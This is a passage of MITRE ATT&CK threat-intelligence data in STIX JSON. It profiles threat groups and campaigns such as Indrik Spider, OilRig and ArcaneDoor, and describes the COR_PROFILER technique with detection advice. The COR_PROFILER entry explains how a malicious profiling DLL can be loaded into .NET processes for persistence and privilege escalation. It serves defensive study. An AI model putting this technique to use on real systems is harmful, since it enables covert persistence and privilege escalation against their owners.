            "x_mitre_detection": "Ensure that proper logging of accounts used to log into systems is turned on and centrally collected. Windows logging is able to collect success/failure for accounts that may be used to move laterally and can be collected using tools such as Windows Event Forwarding. (Citation: Lateral Movement Payne) (Citation: Windows Event Forwarding Payne) Monitor remote login events and associated SMB activity for file transfers and remote process execution. Monitor the actions of remote users who connect to administrative shares. Monitor for use of tools and commands to connect to remote shares, such as [Net](https://attack.mitre.org/software/S0039), on the command-line interface and Discovery techniques that could be used to find remotely accessible systems.(Citation: Medium Detecting Lateral Movement)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            ],
            "x_mitre_version": "1.2"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--ffeb0780-356e-4261-b036-cfb6bd234335",
            "created": "2020-06-24T22:30:55.843Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1574/012",
                    "external_id": "T1574.012"
                },
                {
                    "source_name": "Microsoft Profiling Mar 2017",
                    "description": "Microsoft. (2017, March 30). Profiling Overview. Retrieved June 24, 2020.",
                    "url": "https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/profiling/profiling-overview"
                },
                {
                    "source_name": "Microsoft COR_PROFILER Feb 2013",
                    "description": "Microsoft. (2013, February 4). Registry-Free Profiler Startup and Attach. Retrieved June 24, 2020.",
                    "url": "https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-4.0/ee471451(v=vs.100)"
                },
                {
                    "source_name": "RedCanary Mockingbird May 2020",
                    "description": "Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020.",
                    "url": "https://redcanary.com/blog/blue-mockingbird-cryptominer/"
                },
                {
                    "source_name": "Red Canary COR_PROFILER May 2020",
                    "description": "Brown, J. (2020, May 7). Detecting COR_PROFILER manipulation for persistence. Retrieved June 24, 2020.",
                    "url": "https://redcanary.com/blog/cor_profiler-for-persistence/"
                },
                {
                    "source_name": "Almond COR_PROFILER Apr 2019",
                    "description": "Almond. (2019, April 30). UAC bypass via elevated .NET applications. Retrieved June 24, 2020.",
                    "url": "https://offsec.almond.consulting/UAC-bypass-dotnet.html"
                },
                {
                    "source_name": "GitHub OmerYa Invisi-Shell",
                    "description": "Yair, O. (2019, August 19). Invisi-Shell. Retrieved June 24, 2020.",
                    "url": "https://github.com/OmerYa/Invisi-Shell"
                },
                {
                    "source_name": "subTee .NET Profilers May 2017",
                    "description": "Smith, C. (2017, May 18). Subvert CLR Process Listing With .NET Profilers. Retrieved June 24, 2020.",
                    "url": "https://web.archive.org/web/20170720041203/http://subt0x10.blogspot.com/2017/05/subvert-clr-process-listing-with-net.html"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-25T14:48:41.257Z",
            "name": "COR_PROFILER",
            "description": "Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013)\n\nThe COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013)\n\nAdversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017)",
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                    "phase_name": "privilege-escalation"
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            "x_mitre_contributors": [
                "Jesse Brown, Red Canary"
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            "x_mitre_detection": "For detecting system and user scope abuse of the COR_PROFILER, monitor the Registry for changes to COR_ENABLE_PROFILING, COR_PROFILER, and COR_PROFILER_PATH that correspond to system and user environment variables that do not correlate to known developer tools. Extra scrutiny should be placed on suspicious modification of these Registry keys by command line tools like wmic.exe, setx.exe, and [Reg](https://attack.mitre.org/software/S0075), monitoring for command-line arguments indicating a change to COR_PROFILER variables may aid in detection. For system, user, and process scope abuse of the COR_PROFILER, monitor for new suspicious unmanaged profiling DLLs loading into .NET processes shortly after the CLR causing abnormal process behavior.(Citation: Red Canary COR_PROFILER May 2020) Consider monitoring for DLL files that are associated with COR_PROFILER environment variables.",
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            "modified": "2024-10-28T19:11:56.485Z",
            "name": "Indrik Spider",
            "description": "[Indrik Spider](https://attack.mitre.org/groups/G0119) is a Russia-based cybercriminal group that has been active since at least 2014. [Indrik Spider](https://attack.mitre.org/groups/G0119) initially started with the [Dridex](https://attack.mitre.org/software/S0384) banking Trojan, and then by 2017 they began running ransomware operations using [BitPaymer](https://attack.mitre.org/software/S0570), [WastedLocker](https://attack.mitre.org/software/S0612), and Hades ransomware. Following U.S. sanctions and an indictment in 2019, [Indrik Spider](https://attack.mitre.org/groups/G0119) changed their tactics and diversified their toolset.(Citation: Crowdstrike Indrik November 2018)(Citation: Crowdstrike EvilCorp March 2021)(Citation: Treasury EvilCorp Dec 2019)",
            "aliases": [
                "Indrik Spider",
                "Evil Corp",
                "Manatee Tempest",
                "DEV-0243",
                "UNC2165"
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            "x_mitre_deprecated": false,
            "x_mitre_version": "4.1",
            "x_mitre_contributors": [
                "Jennifer Kim Roman, CrowdStrike",
                "Liran Ravich, CardinalOps"
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            "id": "intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07",
            "created": "2021-01-06T17:46:35.134Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0119",
                    "external_id": "G0119"
                },
                {
                    "source_name": "Evil Corp",
                    "description": "(Citation: Crowdstrike EvilCorp March 2021)(Citation: Treasury EvilCorp Dec 2019)"
                },
                {
                    "source_name": "UNC2165",
                    "description": "(Citation: Mandiant_UNC2165)"
                },
                {
                    "source_name": "Manatee Tempest",
                    "description": "(Citation: Microsoft Threat Actor Naming July 2023)"
                },
                {
                    "source_name": "DEV-0243",
                    "description": "(Citation: Microsoft Threat Actor Naming July 2023)"
                },
                {
                    "source_name": "Crowdstrike Indrik November 2018",
                    "description": "Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021.",
                    "url": "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/"
                },
                {
                    "source_name": "Mandiant_UNC2165",
                    "description": "Mandiant Intelligence. (2022, June 2). To HADES and Back: UNC2165 Shifts to LOCKBIT to Evade Sanctions. Retrieved July 29, 2024.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/unc2165-shifts-to-evade-sanctions/"
                },
                {
                    "source_name": "Microsoft Threat Actor Naming July 2023",
                    "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.",
                    "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"
                },
                {
                    "source_name": "Crowdstrike EvilCorp March 2021",
                    "description": "Podlosky, A., Feeley, B. (2021, March 17). INDRIK SPIDER Supersedes WastedLocker with Hades Ransomware to Circumvent OFAC Sanctions. Retrieved September 15, 2021.",
                    "url": "https://www.crowdstrike.com/blog/hades-ransomware-successor-to-indrik-spiders-wastedlocker/"
                },
                {
                    "source_name": "Treasury EvilCorp Dec 2019",
                    "description": "U.S. Department of Treasury. (2019, December 5). Treasury Sanctions Evil Corp, the Russia-Based Cybercriminal Group Behind Dridex Malware. Retrieved September 15, 2021.",
                    "url": "https://home.treasury.gov/news/press-releases/sm845"
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            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_attack_spec_version": "3.2.0",
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            "type": "x-mitre-data-component",
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            "modified": "2025-04-25T14:48:42.003Z",
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            "description": "Contextual data about an instance and activity around it such as name, type, or status",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "x_mitre_domains": [
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            "id": "campaign--df74f7ad-b10d-431c-9f1d-a2bc18dadefa",
            "created": "2023-06-30T19:28:30.616Z",
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                    "source_name": "mitre-attack",
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                    "external_id": "C0027"
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                    "source_name": "Crowdstrike TELCO BPO Campaign December 2022",
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            "x_mitre_deprecated": false,
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                    "url": "https://attack.mitre.org/groups/G1014",
                    "external_id": "G1014"
                },
                {
                    "source_name": "Bitdefender LuminousMoth July 2021",
                    "description": "Botezatu, B and etl. (2021, July 21). LuminousMoth - PlugX, File Exfiltration and Persistence Revisited. Retrieved October 20, 2022.",
                    "url": "https://www.bitdefender.com/blog/labs/luminousmoth-plugx-file-exfiltration-and-persistence-revisited"
                },
                {
                    "source_name": "Kaspersky LuminousMoth July 2021",
                    "description": "Lechtik, M, and etl. (2021, July 14). LuminousMoth APT: Sweeping attacks for the chosen few. Retrieved October 20, 2022.",
                    "url": "https://securelist.com/apt-luminousmoth/103332/"
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            "modified": "2025-04-16T20:37:32.806Z",
            "name": "LuminousMoth",
            "description": "[LuminousMoth](https://attack.mitre.org/groups/G1014) is a Chinese-speaking cyber espionage group that has been active since at least October 2020. [LuminousMoth](https://attack.mitre.org/groups/G1014) has targeted high-profile organizations, including government entities, in Myanmar, the Philippines, Thailand, and other parts of Southeast Asia. Some security researchers have concluded there is a connection between [LuminousMoth](https://attack.mitre.org/groups/G1014) and [Mustang Panda](https://attack.mitre.org/groups/G0129) based on similar targeting and TTPs, as well as network infrastructure overlaps.(Citation: Kaspersky LuminousMoth July 2021)(Citation: Bitdefender LuminousMoth July 2021)",
            "aliases": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_contributors": [
                "Kyaw Pyiyt Htet, @KyawPyiytHtet",
                "Zaw Min Htun, @Z3TAE"
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/campaigns/C0014",
                    "external_id": "C0014"
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                {
                    "source_name": "FoxIT Wocao December 2019",
                    "description": "Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China\u2019s hidden hacking groups. Retrieved October 8, 2020.",
                    "url": "https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"
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            "modified": "2025-04-16T20:37:45.828Z",
            "name": "Operation Wocao",
            "description": "[Operation Wocao](https://attack.mitre.org/campaigns/C0014) was a cyber espionage campaign that targeted organizations around the world, including in Brazil, China, France, Germany, Italy, Mexico, Portugal, Spain, the United Kingdom, and the United States. The suspected China-based actors compromised government organizations and managed service providers, as well as aviation, construction, energy, finance, health care, insurance, offshore engineering, software development, and transportation companies.(Citation: FoxIT Wocao December 2019)\n\nSecurity researchers assessed the [Operation Wocao](https://attack.mitre.org/campaigns/C0014) actors used similar TTPs and tools as APT20, suggesting a possible overlap. [Operation Wocao](https://attack.mitre.org/campaigns/C0014) was named after an observed command line entry by one of the threat actors, possibly out of frustration from losing webshell access.(Citation: FoxIT Wocao December 2019)",
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            "x_mitre_domains": [
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            "modified": "2025-03-12T20:33:21.597Z",
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            "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) is a Russia-based financially motivated threat group originally known for the creation and deployment of [TrickBot](https://attack.mitre.org/software/S0266) since at least 2016. [Wizard Spider](https://attack.mitre.org/groups/G0102) possesses a diverse arsenal of tools and has conducted ransomware campaigns against a variety of organizations, ranging from major corporations to hospitals.(Citation: CrowdStrike Ryuk January 2019)(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: CrowdStrike Wizard Spider October 2020)",
            "aliases": [
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            "x_mitre_deprecated": false,
            "x_mitre_version": "4.0",
            "x_mitre_contributors": [
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                    "external_id": "G0102"
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                {
                    "source_name": "Grim Spider",
                    "description": "(Citation: CrowdStrike Ryuk January 2019)(Citation: CrowdStrike Grim Spider May 2019)"
                },
                {
                    "source_name": "UNC1878",
                    "description": "(Citation: FireEye KEGTAP SINGLEMALT October 2020)"
                },
                {
                    "source_name": "TEMP.MixMaster",
                    "description": "(Citation: FireEye Ryuk and Trickbot January 2019)"
                },
                {
                    "source_name": "ITG23",
                    "description": "(Citation: IBM X-Force ITG23 Oct 2021)"
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                {
                    "source_name": "FIN12",
                    "description": "(Citation: Mandiant FIN12 Oct 2021)"
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                {
                    "source_name": "Periwinkle Tempest",
                    "description": "(Citation: Microsoft Threat Actor Naming July 2023)"
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                {
                    "source_name": "DEV-0193",
                    "description": "(Citation: Microsoft Threat Actor Naming July 2023)"
                },
                {
                    "source_name": "GOLD BLACKBURN",
                    "description": "(Citation: Secureworks Gold Blackburn Mar 2022)"
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                {
                    "source_name": "DHS/CISA Ransomware Targeting Healthcare October 2020",
                    "description": "DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020.",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-302a"
                },
                {
                    "source_name": "FireEye Ryuk and Trickbot January 2019",
                    "description": "Goody, K., et al (2019, January 11). A Nasty Trick: From Credential Theft Malware to Business Disruption. Retrieved May 12, 2020.",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html"
                },
                {
                    "source_name": "CrowdStrike Ryuk January 2019",
                    "description": "Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020.",
                    "url": "https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/"
                },
                {
                    "source_name": "CrowdStrike Grim Spider May 2019",
                    "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020.",
                    "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/"
                },
                {
                    "source_name": "FireEye KEGTAP SINGLEMALT October 2020",
                    "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020.",
                    "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html"
                },
                {
                    "source_name": "Microsoft Threat Actor Naming July 2023",
                    "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.",
                    "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"
                },
                {
                    "source_name": "CrowdStrike Wizard Spider October 2020",
                    "description": "Podlosky, A., Hanel, A. et al. (2020, October 16). WIZARD SPIDER Update: Resilient, Reactive and Resolute. Retrieved June 15, 2021.",
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                    "description": "Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.",
                    "url": "https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"
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            "description": "[FunnyDream](https://attack.mitre.org/campaigns/C0007) was a suspected Chinese cyber espionage campaign that targeted government and foreign organizations in Malaysia, the Philippines, Taiwan, Vietnam, and other parts of Southeast Asia. Security researchers linked the [FunnyDream](https://attack.mitre.org/campaigns/C0007) campaign to possible Chinese-speaking threat actors through the use of the [Chinoxy](https://attack.mitre.org/software/S1041) backdoor and noted infrastructure overlap with the TAG-16 threat group.(Citation: Bitdefender FunnyDream Campaign November 2020)(Citation: Kaspersky APT Trends Q1 2020)(Citation: Recorded Future Chinese Activity in Southeast Asia December 2021)",
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            "description": "[ArcaneDoor](https://attack.mitre.org/campaigns/C0046) is a campaign targeting networking devices from Cisco and other vendors between July 2023 and April 2024, primarily focused on government and critical infrastructure networks. [ArcaneDoor](https://attack.mitre.org/campaigns/C0046) is associated with the deployment of the custom backdoors [Line Runner](https://attack.mitre.org/software/S1188) and [Line Dancer](https://attack.mitre.org/software/S1186). [ArcaneDoor](https://attack.mitre.org/campaigns/C0046) is attributed to a group referred to as UAT4356 or STORM-1849, and is assessed to be a state-sponsored campaign.(Citation: Cisco ArcaneDoor 2024)(Citation: CCCS ArcaneDoor 2024)",
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                    "description": "Cisco Talos. (2024, April 24). ArcaneDoor - New espionage-focused campaign found targeting perimeter network devices. Retrieved January 6, 2025.",
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                    "source_name": "DYMALLOY",
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                    "source_name": "Berserk Bear",
                    "description": "(Citation: Gigamon Berserk Bear October 2021)(Citation: DOJ Russia Targeting Critical Infrastructure March 2022)(Citation: UK GOV FSB Factsheet April 2022)"
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                    "description": "(Citation: Microsoft Threat Actor Naming July 2023)"
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                    "description": "(Citation: Microsoft Threat Actor Naming July 2023)"
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                    "description": "(Citation: Secureworks IRON LIBERTY July 2019)(Citation: Gigamon Berserk Bear October 2021)(Citation: DOJ Russia Targeting Critical Infrastructure March 2022)(Citation: UK GOV FSB Factsheet April 2022)"
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                    "source_name": "TG-4192",
                    "description": "(Citation: Secureworks IRON LIBERTY July 2019)(Citation: UK GOV FSB Factsheet April 2022)"
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                {
                    "source_name": "Dragonfly",
                    "description": "(Citation: Symantec Dragonfly)(Citation: Secureworks IRON LIBERTY July 2019)(Citation: Gigamon Berserk Bear October 2021)(Citation: DOJ Russia Targeting Critical Infrastructure March 2022)(Citation: UK GOV FSB Factsheet April 2022)"
                },
                {
                    "source_name": "Energetic Bear",
                    "description": "(Citation: Symantec Dragonfly)(Citation: Secureworks IRON LIBERTY July 2019)(Citation: Secureworks MCMD July 2019)(Citation: Secureworks Karagany July 2019)(Citation: Gigamon Berserk Bear October 2021)(Citation: DOJ Russia Targeting Critical Infrastructure March 2022)(Citation: UK GOV FSB Factsheet April 2022)"
                },
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                    "source_name": "CISA AA20-296A Berserk Bear December 2020",
                    "description": "CISA. (2020, December 1). Russian State-Sponsored Advanced Persistent Threat Actor Compromises U.S. Government Targets. Retrieved December 9, 2021.",
                    "url": "https://www.cisa.gov/uscert/ncas/alerts/aa20-296a#revisions"
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                {
                    "source_name": "DOJ Russia Targeting Critical Infrastructure March 2022",
                    "description": "Department of Justice. (2022, March 24). Four Russian Government Employees Charged in Two Historical Hacking Campaigns Targeting Critical Infrastructure Worldwide. Retrieved April 5, 2022.",
                    "url": "https://www.justice.gov/opa/pr/four-russian-government-employees-charged-two-historical-hacking-campaigns-targeting-critical"
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                    "description": "Dragos. (n.d.). DYMALLOY. Retrieved August 20, 2020.",
                    "url": "https://www.dragos.com/threat/dymalloy/"
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                {
                    "source_name": "Fortune Dragonfly 2.0 Sept 2017",
                    "description": "Hackett, R. (2017, September 6). Hackers Have Penetrated Energy Grid, Symantec Warns. Retrieved June 6, 2018.",
                    "url": "http://fortune.com/2017/09/06/hack-energy-grid-symantec/"
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                {
                    "source_name": "Mandiant Ukraine Cyber Threats January 2022",
                    "description": "Hultquist, J. (2022, January 20). Anticipating Cyber Threats as the Ukraine Crisis Escalates. Retrieved January 24, 2022.",
                    "url": "https://www.mandiant.com/resources/ukraine-crisis-cyber-threats"
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                {
                    "source_name": "Microsoft Threat Actor Naming July 2023",
                    "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.",
                    "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"
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                    "source_name": "Secureworks MCMD July 2019",
                    "description": "Secureworks. (2019, July 24). MCMD Malware Analysis. Retrieved August 13, 2020.",
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                    "source_name": "Secureworks IRON LIBERTY July 2019",
                    "description": "Secureworks. (2019, July 24). Resurgent Iron Liberty Targeting Energy Sector. Retrieved August 12, 2020.",
                    "url": "https://www.secureworks.com/research/resurgent-iron-liberty-targeting-energy-sector"
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                    "source_name": "Secureworks Karagany July 2019",
                    "description": "Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. Retrieved August 12, 2020.",
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                    "source_name": "Gigamon Berserk Bear October 2021",
                    "description": "Slowik, J. (2021, October). THE BAFFLING BERSERK BEAR: A DECADE\u2019S ACTIVITY TARGETING CRITICAL INFRASTRUCTURE. Retrieved December 6, 2021.",
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                    "source_name": "Symantec Dragonfly Sept 2017",
                    "description": "Symantec Security Response. (2014, July 7). Dragonfly: Western energy sector targeted by sophisticated attack group. Retrieved September 9, 2017.",
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                    "source_name": "UK GOV FSB Factsheet April 2022",
                    "description": "UK Gov. (2022, April 5). Russia's FSB malign activity: factsheet. Retrieved April 5, 2022.",
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            "description": "Refers to the event in which a new process (executable) is initialized by an operating system. This can involve parent-child process relationships, process arguments, and environmental variables. Monitoring process creation is crucial for detecting malicious behaviors, such as execution of unauthorized binaries, scripting abuse, or privilege escalation attempts.\n\n*Data Collection Measures:*\n\n- Endpoint Detection and Response (EDR) Tools:\n    - EDRs provide process telemetry, tracking execution flows and arguments.\n- Windows Event Logs:\n    - Event ID 4688 (Audit Process Creation): Captures process creation with associated parent process.\n- Sysmon (Windows):\n    - Event ID 1 (Process Creation): Provides detailed logging\n- Linux/macOS Monitoring:\n    - AuditD (execve syscall): Logs process creation.\n    - eBPF/XDP: Used for low-level monitoring of system calls related to process execution.\n    - OSQuery: Allows SQL-like queries to track process events (process_events table).\n    - Apple Endpoint Security Framework (ESF): Monitors process creation on macOS.\n- Network-Based Monitoring:\n    - Zeek (Bro) Logs: Captures network-based process execution related to remote shells.\n    - Syslog/OSSEC: Tracks execution of processes on distributed systems.\n- Behavioral SIEM Rules:\n    - Monitor process creation for uncommon binaries in user directories.\n    - Detect processes with suspicious command-line arguments. ",
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            "name": "OilRig",
            "description": "[OilRig](https://attack.mitre.org/groups/G0049) is a suspected Iranian threat group that has targeted Middle Eastern and international victims since at least 2014. The group has targeted a variety of sectors, including financial, government, energy, chemical, and telecommunications. It appears the group carries out supply chain attacks, leveraging the trust relationship between organizations to attack their primary targets. The group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests.(Citation: FireEye APT34 Dec 2017)(Citation: Palo Alto OilRig April 2017)(Citation: ClearSky OilRig Jan 2017)(Citation: Palo Alto OilRig May 2016)(Citation: Palo Alto OilRig Oct 2016)(Citation: Unit42 OilRig Playbook 2023)(Citation: Unit 42 QUADAGENT July 2018)",
            "aliases": [
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                "Helix Kitten",
                "Evasive Serpens",
                "Hazel Sandstorm",
                "EUROPIUM",
                "ITG13",
                "Earth Simnavaz",
                "Crambus",
                "TA452"
            ],
            "x_mitre_deprecated": false,
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            "x_mitre_contributors": [
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                "Bryan Lee",
                "Dragos Threat Intelligence",
                "Jaesang Oh, KC7 Foundation"
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            "type": "intrusion-set",
            "spec_version": "2.1",
            "id": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
            "created": "2017-12-14T16:46:06.044Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0049",
                    "external_id": "G0049"
                },
                {
                    "source_name": "IRN2",
                    "description": "(Citation: Crowdstrike Helix Kitten Nov 2018)"
                },
                {
                    "source_name": "ITG13",
                    "description": "(Citation: IBM ZeroCleare Wiper December 2019)"
                },
                {
                    "source_name": "Hazel Sandstorm",
                    "description": "(Citation: Microsoft Threat Actor Naming July 2023)"
                },
                {
                    "source_name": "EUROPIUM",
                    "description": "(Citation: Microsoft Threat Actor Naming July 2023)"
                },
                {
                    "source_name": "OilRig",
                    "description": "(Citation: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: Palo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook Dec 2017) (Citation: Unit 42 QUADAGENT July 2018)"
                },
                {
                    "source_name": "TA452",
                    "description": "(Citation: Proofpoint Iranian Aligned Attacks JAN 2020)"
                },
                {
                    "source_name": "COBALT GYPSY",
                    "description": "(Citation: Secureworks COBALT GYPSY Threat Profile)"
                },
                {
                    "source_name": "Crambus",
                    "description": "(Citation: Symantec Crambus OCT 2023)"
                },
                {
                    "source_name": "Earth Simnavaz",
                    "description": "(Citation: Trend Micro Earth Simnavaz October 2024)"
                },
                {
                    "source_name": "Helix Kitten",
                    "description": "(Citation: Unit 42 QUADAGENT July 2018)(Citation: Crowdstrike Helix Kitten Nov 2018)"
                },
                {
                    "source_name": "Evasive Serpens",
                    "description": "(Citation: Unit42 OilRig Playbook 2023)"
                },
                {
                    "source_name": "Check Point APT34 April 2021",
                    "description": "Check Point. (2021, April 8). Iran\u2019s APT34 Returns with an Updated Arsenal. Retrieved May 5, 2021.",
                    "url": "https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/"
                },
                {
                    "source_name": "ClearSky OilRig Jan 2017",
                    "description": "ClearSky Cybersecurity. (2017, January 5). Iranian Threat Agent OilRig Delivers Digitally Signed Malware, Impersonates University of Oxford. Retrieved May 3, 2017.",
                    "url": "http://www.clearskysec.com/oilrig/"
                },
                {
                    "source_name": "Trend Micro Earth Simnavaz October 2024",
                    "description": "Fahmy, M. et al. (2024, October 11). Earth Simnavaz (aka APT34) Levies Advanced Cyberattacks Against Middle East. Retrieved November 27, 2024.",
                    "url": "https://www.trendmicro.com/en_us/research/24/j/earth-simnavaz-cyberattacks.html"
                },
                {
                    "source_name": "Palo Alto OilRig May 2016",
                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
                },
                {
                    "source_name": "Palo Alto OilRig April 2017",
                    "description": "Falcone, R.. (2017, April 27). OilRig Actors Provide a Glimpse into Development and Testing Efforts. Retrieved May 3, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2017/04/unit42-oilrig-actors-provide-glimpse-development-testing-efforts/"
                },
                {
                    "source_name": "Palo Alto OilRig Oct 2016",
                    "description": "Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/"
                },
                {
                    "source_name": "IBM ZeroCleare Wiper December 2019",
                    "description": "Kessem, L. (2019, December 4). New Destructive Wiper ZeroCleare Targets Energy Sector in the Middle East. Retrieved September 4, 2024.",
                    "url": "https://securityintelligence.com/posts/new-destructive-wiper-zerocleare-targets-energy-sector-in-the-middle-east/"
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                    "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/"
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                    "source_name": "Crowdstrike Helix Kitten Nov 2018",
                    "description": "Meyers, A. (2018, November 27). Meet CrowdStrike\u2019s Adversary of the Month for November: HELIX KITTEN. Retrieved December 18, 2018.",
                    "url": "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-november-helix-kitten/"
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                    "source_name": "Microsoft Threat Actor Naming July 2023",
                    "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.",
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                    "source_name": "Proofpoint Iranian Aligned Attacks JAN 2020",
                    "description": "Proofpoint. (2020, January 10). Iranian State-Sponsored and Aligned Attacks: What You Need to Know and Steps to Protect Yourself. Retrieved January 16, 2025.",
                    "url": "https://www.proofpoint.com/us/corporate-blog/post/iranian-state-sponsored-and-aligned-attacks-what-you-need-know-and-steps-protect"
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                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
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                    "source_name": "Secureworks COBALT GYPSY Threat Profile",
                    "description": "Secureworks. (n.d.). COBALT GYPSY Threat Profile. Retrieved April 14, 2021.",
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                    "source_name": "Symantec Crambus OCT 2023",
                    "description": "Symantec Threat Hunter Team. (2023, October 19). Crambus: New Campaign Targets Middle Eastern Government. Retrieved November 27, 2024.",
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                    "source_name": "Unit42 OilRig Playbook 2023",
                    "description": "Unit42. (2016, May 1). Evasive Serpens Unit 42 Playbook Viewer. Retrieved February 6, 2023.",
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                    "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.",
                    "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/"
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                    "source_name": "CrowdStrike StellarParticle January 2022",
